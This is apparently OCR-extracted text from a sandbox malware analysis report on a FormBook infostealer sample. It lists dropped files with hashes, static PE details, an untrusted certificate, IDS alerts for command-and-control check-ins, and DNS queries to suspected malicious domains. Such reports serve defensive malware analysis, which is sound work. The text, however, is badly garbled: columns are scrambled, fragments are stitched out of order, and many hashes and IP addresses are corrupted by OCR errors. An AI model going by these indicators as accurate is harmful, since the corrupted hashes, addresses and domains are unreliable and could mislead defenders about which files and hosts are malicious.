https://view.joesandbox.com/analysis/416063/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416063/html/none?idtype=webid
https://view.joesandbox.com/analysis/416052/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416052/html/none?idtype=webid
https://view.joesandbox.com/analysis/416046/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416046/html/none?idtype=webid
https://view.joesandbox.com/analysis/416008/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416008/html/none?idtype=webid
https://view.joesandbox.com/analysis/416000/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416000/html/none?idtype=webid
https://view.joesandbox.com/analysis/415991/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415991/html/none?idtype=webid
https://view.joesandbox.com/analysis/415943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415943/html/none?idtype=webid
https://view.joesandbox.com/analysis/415905/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415905/html/none?idtype=webid
https://view.joesandbox.com/analysis/415888/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415888/html/none?idtype=webid
https://view.joesandbox.com/analysis/415876/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415876/html/none?idtype=webid
https://view.joesandbox.com/analysis/415815/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415815/html/none?idtype=webid
https://view.joesandbox.com/analysis/415759/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415759/html/none?idtype=webid
https://view.joesandbox.com/analysis/415756/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415756/html/none?idtype=webid
https://view.joesandbox.com/analysis/415755/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415755/html/none?idtype=webid
https://view.joesandbox.com/analysis/415753/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415753/html/none?idtype=webid
https://view.joesandbox.com/analysis/415751/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415751/html/none?idtype=webid
https://view.joesandbox.com/analysis/415694/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415694/html/none?idtype=webid

Match

AMAZON-02US

EGIHOSTINGUS
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Match
37f463bf4616ecd445d4a1937da06e19
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Get hash
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Get hash
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malicious

malicious
malicious
malicious

malicious

malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

malicious
malicious

malicious

malicious

malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse

Browse

Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Browse
Browse

Browse

Browse

Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

116.202.203.61
52.218.1.8
52.53.23.55
52.52.93.219
99.83.154.118
54.171.230.55
52.56.234.247
34.249.145.219
3.131.99.219
3.145.25.98
13.224.193.20
34.243.96.89
52.217.129.129
18.162.202.11
52.218.105.51

18.162.202.11
13.59.15.185
52.217.130.168
52.218.65.11

54.254.156.153
52.89.168.94
45.39.212.96

142.111.11
0.248

68.68.98.160
104.253.94.109
28.27.137.70
107.165.18.79
166.88.19.181
172.121.95.168

172.120.10
8.136

136.0.238.242

216.172.14
5.226

107.187.86.150
23.230.105.118

107.164.10
2.213

136.0.81.164

50.118.200.122
142.111.56.40
23.27.237.204
205.166.25.218
192.177.167.71

Context

107.6.148.162
107.6.148.162
107.6.148.162
107.6.148.162
107.6.148.162

107.6.148.162
107.6.148.162
107.6.148.162
107.6.148.162
107.6.148.162
107.6.148.162
107.6.148.162
107.6.148.162
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https://view.joesandbox.com/analysis/415692/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415692/html/none?idtype=webid
https://view.joesandbox.com/analysis/416190/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416190/html/none?idtype=webid
https://view.joesandbox.com/analysis/416173/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416173/html/none?idtype=webid
https://view.joesandbox.com/analysis/416161/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416161/html/none?idtype=webid
https://view.joesandbox.com/analysis/416155/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416155/html/none?idtype=webid
https://view.joesandbox.com/analysis/416146/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416146/html/none?idtype=webid
https://view.joesandbox.com/analysis/416142/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416142/html/none?idtype=webid
https://view.joesandbox.com/analysis/416129/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416129/html/none?idtype=webid
https://view.joesandbox.com/analysis/416110/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416110/html/none?idtype=webid
https://view.joesandbox.com/analysis/416075/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416075/html/none?idtype=webid
https://view.joesandbox.com/analysis/416064/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416064/html/none?idtype=webid
https://view.joesandbox.com/analysis/416019/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416019/html/none?idtype=webid
https://view.joesandbox.com/analysis/416017/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416017/html/none?idtype=webid
https://view.joesandbox.com/analysis/416011/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416011/html/none?idtype=webid
https://view.joesandbox.com/analysis/416008/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416008/html/none?idtype=webid
https://view.joesandbox.com/analysis/416007/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416007/html/none?idtype=webid
https://view.joesandbox.com/analysis/416005/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416005/html/none?idtype=webid
https://view.joesandbox.com/analysis/415992/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415992/html/none?idtype=webid
https://view.joesandbox.com/analysis/415991/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415991/html/none?idtype=webid
https://view.joesandbox.com/analysis/415990/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415990/html/none?idtype=webid
https://view.joesandbox.com/analysis/415988/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415988/html/none?idtype=webid
https://view.joesandbox.com/analysis/416155/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416155/html/none?idtype=webid
https://view.joesandbox.com/analysis/416124/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416124/html/none?idtype=webid
https://view.joesandbox.com/analysis/415752/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415752/html/none?idtype=webid
https://view.joesandbox.com/analysis/415669/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415669/html/none?idtype=webid
https://view.joesandbox.com/analysis/415506/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415506/html/none?idtype=webid
https://view.joesandbox.com/analysis/415434/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415434/html/none?idtype=webid
https://view.joesandbox.com/analysis/413957/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413957/html/none?idtype=webid
https://view.joesandbox.com/analysis/413862/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413862/html/none?idtype=webid
https://view.joesandbox.com/analysis/413850/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413850/html/none?idtype=webid
https://view.joesandbox.com/analysis/413826/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/413826/html/none?idtype=webid
https://view.joesandbox.com/analysis/412918/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412918/html/none?idtype=webid
https://view.joesandbox.com/analysis/412858/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412858/html/none?idtype=webid
https://view.joesandbox.com/analysis/412668/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412668/html/none?idtype=webid
https://view.joesandbox.com/analysis/412625/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412625/html/none?idtype=webid
https://view.joesandbox.com/analysis/412259/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412259/html/none?idtype=webid
https://view.joesandbox.com/analysis/412082/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/412082/html/none?idtype=webid
https://view.joesandbox.com/analysis/411834/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411834/html/none?idtype=webid
https://view.joesandbox.com/analysis/411755/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411755/html/none?idtype=webid
https://view.joesandbox.com/analysis/411752/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411752/html/none?idtype=webid
https://view.joesandbox.com/analysis/411706/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/411706/html/none?idtype=webid
https://view.joesandbox.com/analysis/416206/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416206/html/none?idtype=webid
https://view.joesandbox.com/analysis/416169/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416169/html/none?idtype=webid
https://view.joesandbox.com/analysis/416154/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416154/html/none?idtype=webid
https://view.joesandbox.com/analysis/416064/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416064/html/none?idtype=webid
https://view.joesandbox.com/analysis/416000/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/416000/html/none?idtype=webid
https://view.joesandbox.com/analysis/415992/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415992/html/none?idtype=webid
https://view.joesandbox.com/analysis/415970/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415970/html/none?idtype=webid
https://view.joesandbox.com/analysis/415943/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415943/html/none?idtype=webid
https://view.joesandbox.com/analysis/415937/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415937/html/none?idtype=webid
https://view.joesandbox.com/analysis/415911/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415911/html/none?idtype=webid
https://view.joesandbox.com/analysis/415909/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415909/html/none?idtype=webid
https://view.joesandbox.com/analysis/415905/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415905/html/none?idtype=webid
https://view.joesandbox.com/analysis/415876/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415876/html/none?idtype=webid

Match

Associated Sample Name / URL SHA 256 Detection Link Context

Get hash malicious Browse e 107.6.148.162
Get hash malicious Browse e 107.6.148.162
Get hash malicious Browse e 107.6.148.162
Get hash malicious Browse e 107.6.148.162
Get hash malicious Browse e 107.6.148.162
Get hash malicious Browse e 107.6.148.162
Get hash malicious Browse e 107.6.148.162

Dropped Files

No context

Created / dropped Files

C:\Users\luser\AppData\Local\Temp\DB1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\cmd.exe

SQLite 3.x database, last written using SQLite version 3035005

dropped

40960

0.8384034474405602

false
48:13WB14fxcKzslYICVEq8MX0DOHSFINUKBIGNXGt7KLk8s8LKVUfIKVYJI7hU:J2CdCn8MZyFIulGNXGt7KLyeymw
3486408AF6ESBFDBE15DEDDEFB834576

8118E27D74977C176BD305862105CES5F22AE10D8
5B26EE9B1FF774148D102BD7594D4B31C4B004D05C42F72EF82B1C90362B2196

E2F45693DDBE1A42C6855439A394E1CO0AESEC81FDC4B8F1BC6EC37E93AE9389D0OEOCCC3C4419572DD09371590384E859324F163BDFD462C2B1D4FF7F7EDIE
3

false

SQLite format 3.

O}..

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Antivirus:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

144472

6.18115352999971

false

3072:txD6tQfQC/NHcs01Z8+g81AYe22uQCNIIXmeL5A2m:txDQgvHYY800QCNQmM

812181DF251E06433BF2F4F6A0COFOF4

AA38A567EE48483D98966622FD320C791BC45871

4D6C910A379D00F329E55AD98A7817DE0370695566443A74A9A02C85D2463A9D
4D34981930ED3E40572CFC761DCB78E59494D8E33F2E6615ED3ES3D3E17945718D7D627ABCA099167E188E2E76973A550C64C54A3F6700BB6BBB7B13BBDOCF/

true

e Antivirus: ReversingLabs, Detection: 20%

W Koo
MSVBVM60.DLL.

8. <

C:\Users\user\AppData\Local\Temp\~DF276 A9FA8B8475D30.TMP

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

C:\Program Files (x86)\Grt4lhl\c8ahotgz8h.exe

Composite Document File V2 Document, Cannot read section info
dropped

16384

1.021204976774085

false

48:13Sq2Upu8metgPrIXHimU7zdvP1vnRecR:VSKUpACLFO
E9F7C24086FE230572BB84C262385677
16B4D54B227860CD7942CB26F607C2464F69B416
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https://view.joesandbox.com/analysis/415832/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415832/html/none?idtype=webid
https://view.joesandbox.com/analysis/415821/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415821/html/none?idtype=webid
https://view.joesandbox.com/analysis/415819/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415819/html/none?idtype=webid
https://view.joesandbox.com/analysis/415810/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415810/html/none?idtype=webid
https://view.joesandbox.com/analysis/415742/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415742/html/none?idtype=webid
https://view.joesandbox.com/analysis/415721/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415721/html/none?idtype=webid
https://view.joesandbox.com/analysis/415699/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/415699/html/none?idtype=webid

C:\Users\user\AppData\Local\Temp\~DF276 A9FA8B8475D30.TMP

SHA-256: 1F1B9BB21DBBE012A4824C25111BAB849BEOE7BCED9234527701823A68C65374

SHA-512: 4F82F38C3A3D93FEDIE1D0A27D1993FAA723CD2C0AD08241F1FC8CI3E1DFAF47E035A94A2075B828AD12D41C6860150C3B42EE79B060912EBC44D340C8CDA!
2

Malicious: false

Preview:

C:\Users\luser\AppData\Local\Temp\~DF2F1968B4CF4B7B89.TMP

Process: C:\Program Files (x86)\Grt4lhl\c8ahotgz8h.exe

File Type: Composite Document File V2 Document, Cannot read section info
Category: dropped

Size (bytes): 16384

Entropy (8bit):  1.021204976774085

Encrypted: false

SSDEEP: 48:13Sq2Upu8metgPrIXHimU7zdvP1vnRecR:VSKUpACLFO

MDS5: E9F7C24086FE230572BB84C262385677

SHA1L: 16B4D54B227860CD7942CB26F607C2464F69B416

SHA-256: 1F1B9BB21DBBE012A4824C25111BAB849BEOE7BCED9234527701823A68C65374

SHA-512: 4F82F38C3A3D93FED9E1D0A27D1993FAA723CD2C0AD0O8241F1FC8CI3E1DFAF47E035A94A2075B828AD12D41C6860150C3B42EE79B060912EBC44D340C8CDA!
2

Malicious: false

Preview:

C:\Users\user\AppData\Local\Temp\~-DFBF74AAE9E8A330D2.TMP

Process: C:\Users\user\Desktop\Zr26f1rL6r.exe

File Type: Composite Document File V2 Document, Cannot read section info

Category: dropped

Size (bytes): 16384

Entropy (8bit): 1.021204976774085

Encrypted: false

SSDEEP: 48:rJSq2Upu8metqPrIXHimU7zdvP1lvnRecR:VSKUpACLFO

MD5: E9F7C24086FE230572BB84C262385677

SHA1: 16B4D54B227860CD7942CB26F607C2464F69B416

SHA-256: 1F1B9BB21DBBE012A4824C25111BAB849BEOE7BCED9234527701823A68C65374

SHA-512: 4F82F38C3A3D93FEDIE1DOA27D1993FAA723CD2C0AD08241F1FC8CI3E1DFAF47E035A94A2075B828AD12D41C6860150C3B42EE79B060912EBC44D340C8CDA¢
2

Malicious: false

Preview:

C:\Users\user\AppData\Local\Temp\~DFFF783F681ES8F6EBB.TMP

Process: C:\Program Files (x86)\Grt4lhl\c8ahotgz8h.exe

File Type: Composite Document File V2 Document, Cannot read section info

Category: dropped

Size (bytes): 16384

Entropy (8bit):  1.021204976774085

Encrypted: false

SSDEEP: 48:135q2Upu8metgPrIXHimU7zdvP1vnRecR:VSKUpACLFO

MD5: E9F7C24086FE230572BB84C262385677

SHAL: 16B4D54B227860CD7942CB26F607C2464F69B416

SHA-256: 1F1B9BB21DBBE012A4824C25111BAB849BEOE7BCED9234527701823A68C65374

SHA-512: 4F82F38C3A3DI3FEDIE1DOA27D1993FAA723CD2C0AD08241F 1FC8CI3E1DFAFA7EN35A94A2075B828AD12D41C6860150C3B42EE79B060912EBC44D340C8CDA!
2

Malicious: false

Preview:

Copyright Joe Security LLC 2021 Page 20 of 57



Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:
Subsystem:

Image File Characteristics:

DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Authenticode Signature

Signature Valid:

Signature Issuer:

Signature Validation Error:

Error Number:

Not Before, Not After

Copyright Joe Security LLC 2021

PE32 executable (GUI) Intel 80386, for MS Windows
6.18115352999971

e Win32 Executable (generic) a (10002005/4)
99.15%

* Win32 Executable Microsoft Visual Basic 6
(82127/2) 0.81%

e Generic Win/DOS Executable (2004/3) 0.02%

e DOS Executable Generic (2002/1) 0.02%

e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

Zr26f1rL6r.exe

144472

812181df251e06433bf2f4f6a0c0f0f4
aa38a567ee48483d98966622fd320c791bc45871

4d6c910a379d00f329e55ad98a7817de0370695566443a
74a9a02c85d2463a9d

4d34981930ed3e40572cfc761dch78e59494d8e33f2e661
5ed3e53d3e17945718d7d627abca099167e188e2e7697:
a550c64c54a3f6700bb6bbb7b13bbd0cf47

3072:txD6tQfQC/NHcs01Z8+g81AYe22uQCNIIXmeL5A
2m:txDQgvHYY800QCNQm

.r..<l.v..E%..r..Richs..

6ce8fac8c8e46868

0x4013b4
text

true
0x400000
windows gui

LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

0x58DD4808 [Thu Mar 30 18:01:44 2017 UTC]

o »n o » O »

0db4elfdede6848b7d67f260c767df5d

false

E=Knyste6@Eximiousne3.BRY, CN=Siphonalet4, OU=Dehumanise5, O=octocorall,
L=Myomatous7, S=FAHLORE, C=TD

A certificate chain processed, but terminated in a root certificate which is not trusted
by the trust provider

-2146762487
e 24/11/2021 12:22:16 24/11/2022 12:22:16
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Subject Chain e E=Knyste6@Eximiousne3.BRY, CN=Siphonalet4, OU=Dehumanise5, O=octocorall,
L=Myomatous7, S=FAHLORE, C=TD

Version: 3

Thumbprint MD5: 3EA4D95D319B3BCDDF3A916A0A7F25DF

Thumbprint SHA-1: 827D80430EC06C8058A205E7E710FFF3EB2A03DE

Thumbprint SHA-256: 7824D156B89CF1BF25F923BECBIDCEOEF3F49C821D270075A626DE65497E77AD
Serial: 00

Entrypoint Preview

Data Directories

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x1000 0x1e6c0 0x1f000 False 0.523012222782 data 6.34448502446 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

.data 0x20000 0x1a40 0x1000 False 0.00634765625 data 0.0 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

.rsrc 0x22000 oxf77 0x1000 False 0.367431640625 data 4.13632936066 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Resources

Imports

Version Infos

Possible Origin

Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Snort IDS Alerts

Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP
11/25/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49815 80 192.168.11.20 104.21.76.223
12:56:13.220035

11/25/21- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49815 80 192.168.11.20 104.21.76.223
12:56:13.220035

11/25/21- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49815 80 192.168.11.20 104.21.76.223
12:56:13.220035

11/25/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49817 80 192.168.11.20 164.155.212.139
12:56:34.061801

11/25/21- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49817 80 192.168.11.20 164.155.212.139
12:56:34.061801

11/25/21- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49817 80 192.168.11.20 164.155.212.139
12:56:34.061801

11/25/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49818 80 192.168.11.20 172.120.157.187
12:56:39.949611

11/25/21- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49818 80 192.168.11.20 172.120.157.187
12:56:39.949611

11/25/21- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49818 80 192.168.11.20 172.120.157.187
12:56:39.949611

11/25/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49819 80 192.168.11.20 3.64.163.50

12:56:50.191875
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Timestamp

11/25/21-
12:56:50.191875

11/25/21-
12:56:50.191875

11/25/21-
12:57:19.581032

11/25/21-
12:57:48.440285

11/25/21-
12:57:48.440285

11/25/21-
12:57:48.440285

11/25/21-
12:57:53.969955

11/25/21-
12:57:53.969955

11/25/21-
12:57:53.969955

11/25/21-
12:58:24.837935

11/25/21-
12:58:24.837935

11/25/21-
12:58:24.837935

11/25/21-
12:58:46.492771

11/25/21-
12:58:54.460181

11/25/21-
12:59:11.009465

11/25/21-
12:59:26.513558

11/25/21-
13:00:06.831291

11/25/21-
13:00:30.897806

11/25/21-
13:00:58.958116

11/25/21-
13:00:58.958116

11/25/21-
13:00:58.958116

11/25/21-
13:01:05.901849

11/25/21-
13:01:29.228115

11/25/21-
13:01:53.595063

11/25/21-
13:01:53.595063

11/25/21-
13:01:53.595063

11/25/21-
13:01:53.704468

Protocol SID

TCP 2031449
TCP 2031412
ICMP 402

TCP 2031453
TCP 2031449
TCP 2031412
TCP 2031453
TCP 2031449
TCP 2031412
TCP 2031453
TCP 2031449
TCP 2031412
ICMP 402
ICMP 402
ICMP 402
ICMP 402
ICMP 402
ICMP 402

TCP 2031453
TCP 2031449
TCP 2031412
ICMP 402
ICMP 402

TCP 2031453
TCP 2031449
TCP 2031412
TCP 1201

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Message

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ICMP Destination Unreachable Port Unreachable

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ICMP Destination Unreachable Port Unreachable

ICMP Destination Unreachable Port Unreachable

ICMP Destination Unreachable Port Unreachable

ICMP Destination Unreachable Port Unreachable

ICMP Destination Unreachable Port Unreachable

ICMP Destination Unreachable Port Unreachable

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ICMP Destination Unreachable Port Unreachable

ICMP Destination Unreachable Port Unreachable

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

Timestamp Source IP Dest IP
Nov 25, 2021 12:54:53.733247995 CET 192.168.11.20 1111
Nov 25, 2021 12:55:50.986593008 CET 192.168.11.20 1111

Copyright Joe Security LLC 2021

Trans ID

0x4274

0x5671

OP Code

Standard query
0
Standard query
0

Source
Port
49819

49819

49823

49823

49823

49824

49824

49824

49826

49826

49826

49836

49836

49836

49843

49843

49843

80

Name

Dest
Port
80

80

80

80

80

80

80

80

80

80

80

80

80

80

80

80

80

Source IP

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

Dest IP
3.64.163.50

3.64.163.50

9.9.9.9

172.67.164.153

172.67.164.153

172.67.164.153

3.64.163.50

3.64.163.50

3.64.163.50

3.64.163.50

3.64.163.50

3.64.163.50

9.9.9.9

9.9.9.9

9.9.9.9

9.9.9.9

1111

1111

3.64.163.50

3.64.163.50

3.64.163.50

9.9.9.9

9.9.9.9

34.102.136.180

34.102.136.180

34.102.136.180

49843 34.102.136.180 192.168.11.20

Type

atseasonals.com A (IP address)

www.tvterr

adafarinha.com

A (IP address)

Class

IN (0x0001)

IN (0x0001)
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Timestamp

Nov 25, 2021 12:55:56.046475887 CET

Nov 25, 2021 12:55:57.061180115 CET

Nov 25, 2021 12:55:58.076499939 CET

Nov 25, 2021 12:55:58.974685907 CET

Nov 25, 2021 12:55:58.974780083 CET

Nov 25, 2021 12:56:07.997185946 CET

Nov 25, 2021 12:56:13.027062893 CET

Nov 25, 2021 12:56:28.414575100 CET

Nov 25, 2021 12:56:33.584800005 CET

Nov 25, 2021 12:56:39.584042072 CET

Nov 25, 2021 12:56:45.129364967 CET

Nov 25, 2021 12:56:50.159405947 CET

Nov 25, 2021 12:56:55.205044031 CET

Nov 25, 2021 12:56:55.394615889 CET

Nov 25, 2021 12:57:00.688455105 CET

Nov 25, 2021 12:57:05.718594074 CET

Nov 25, 2021 12:57:11.326653957 CET

Nov 25, 2021 12:57:16.543878078 CET

Nov 25, 2021 12:57:17.559029102 CET

Nov 25, 2021 12:57:17.785197973 CET

Nov 25, 2021 12:57:24.589252949 CET

Nov 25, 2021 12:57:38.210880041 CET

Nov 25, 2021 12:57:43.272383928 CET

Nov 25, 2021 12:57:48.318795919 CET

Nov 25, 2021 12:58:04.002094984 CET

Nov 25, 2021 12:58:09.580043077 CET

Nov 25, 2021 12:58:14.609978914 CET

Nov 25, 2021 12:58:19.779851913 CET

Nov 25, 2021 12:58:29.855937958 CET

Nov 25, 2021 12:58:30.459197998 CET

Nov 25, 2021 12:58:35.605232954 CET

Nov 25, 2021 12:58:46.211113930 CET

Nov 25, 2021 12:58:46.429765940 CET

Nov 25, 2021 12:58:51.444456100 CET

Copyright Joe Security LLC 2021

Source IP

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

Dest IP
1.1.1.1

9.9.9.9

1111

9.9.9.9

9.9.9.9

1111

1111

1111

1111

1111

1111

1111

1111

9.9.9.9

1111

1111

1111

1111

9.9.9.9

9.9.9.9

1111

1111

1111

1111

1111

1111

1111

1111

1111

9.9.9.9

1111

1111

9.9.9.9

1111

Trans ID

0xbd52

0xbd52

0xbd52

0xbd52

0xbd52

0xf541

0xe8e0

0x5fb

0xb6f5

0x1a58

0xcf10

0x48a0

0x36cd

0x36cd

0xf76d

0x2175

0x4f7a

Oxc2le

Oxc2le

Oxc2le

Oxed1lb

Oxlebc

0x2ba0

0xb654

0xb240

Oxac5e

0x29d3

0x8579

Ox6alb

Ox6alb

0x2b4d

0x93f5

0x93f5

0x8f42

OP Code
Standard query
0

Standard query
(0

Standard query
0

Standard query
(0

Standard query
(0

Standard query
(0)

Standard query
0)

Standard query
(0

Standard query
(0)

Standard query
(0)

Standard query
(0)

Standard query
©)
Standard query
©)
Standard query
©)
Standard query
©)
Standard query
©)
Standard query
©)
Standard query
©)

Standard query
©)

Standard query
)

Standard query
)
Standard query
)
Standard query
(©)
Standard query
(©)
Standard query
(©)
Standard query
(©)
Standard query
(©)
Standard query
(©)

Standard query
0
Standard query
(0)
Standard query
0
Standard query
0
Standard query
0
Standard query
0

Name

www.3uwz9m
pxk77g.biz

www.3uwz9m
pxk77g.biz

www.3uwz9m
pxk77g.biz

www.3uwz9m
pxk77g.biz

www.3uwz9m
pxk77g.biz

www.testwe
bsite0711.com

WWw.topwow
shopping.store

www.groweb
ox.com

www.ayudav
ida.com

www.styles
bykee.com

www.wordpr
esshosting
blog.com

www.inklus
ion.online

www.braxty
nmi.xyz
www.braxty
nmi.xyz
www.aubzo7
09fm.com

www.mackth
etruck.com

www.koeday
uuki.com

www.abcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.abcjan
itorialsol
utions.com

www.diamot
a.com

www.helpcl
oud.xyz

